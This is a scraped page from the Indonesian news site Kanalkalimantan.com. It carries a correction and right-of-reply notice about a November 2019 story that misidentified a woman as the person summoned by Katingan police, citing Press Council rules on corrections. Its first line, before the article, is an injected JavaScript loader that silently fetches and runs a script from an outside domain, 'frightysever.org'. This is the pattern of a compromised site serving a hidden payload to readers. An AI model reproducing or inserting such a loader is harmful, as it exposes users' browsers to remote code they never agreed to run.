(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KATINGAN, Terkait berita Kanalkalimantan.com pada Senin 11 November 2019 yang berjudul Tak Bijak di Medsos, Wanita Ini Dipanggil ke Polres Katingan (buka link ini), Fransisco Camismara (22), laki-laki warga jalan Pinggir Sei Katingan, Desa Telangkah, Kecamatan Katingan Hilir, mengajukan hak jawab dan hak sanggah berupa koreksi dan klarifikasi ke redaksi Kanalkalimantan.com.
Di dalam berita judul berita tersebut tertulis wanita, padahal yang dimaksud bukan seorang wanita tapi laki-laki. Sehingga seakan-akan wanita yang ada di dalam foto berita yang dipanggil Polres Katingan dan sedang menulis surat pernyataan itu adalah Fransisco Camismara. Padahal wanita tersebut hanya menjadi pendamping Fransisco Camismara saat mendatangi kantor Polres Katingan.
Polres Katingan kepada Kanalkalimantan.com melalui Humas Polres Katingan juga memastikan, wanita yang ada dalam foto tersebut tidak ikut dipanggil, tetapi hanya laki-laki atas nama Fransisco Camismara. Wanita dalam foto tersebut hanya mendampingi Fransisco Camismara ke Polres Katingan.
Juga pada paragraf berikut ini :
Menurut pengakuan wanita ini, kesehariannya ia tidak bekerja. Ia diduga menyebarkan informasi yang belum tentu kebenarannya tentang foto yang diduga ada pelanggaran oleh anggota kepolisian.
Wanita yang mendampingi Fransisco Camismara di Polres Katingan itu meminta klarifikasi Kanalkalimantan.com atas kekeliruan berita.
“Agar saya bisa memperbaiki persepsi buruk masyarakat pembaca yang membaca berita kemarin, karena kesalahan penulisan/kekeliruan mengenai berita tersebut membuat saya kurang nyaman dipandang masyarakat,â€Â
Berdasarkan Peraturan Dewan Pers nomor 1/Peraturan-DP/III/2012 tentang Pedoman Pemberitaan Media Siber telah memberikan dasar mengenai ralat berita.
Butir ke-4 pedoman tersebut menyatakan:
Ralat, koreksi dan atau hak jawab wajib ditautkan pada berita yang diralat, dikoreksi atau yang diberi hak jawab.
Di setiap berita ralat, koreksi, dan hak jawab wajib dicantumkan waktu pemuatan ralat, koreksi, dan atau hak jawab tersebut. (redaksi)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.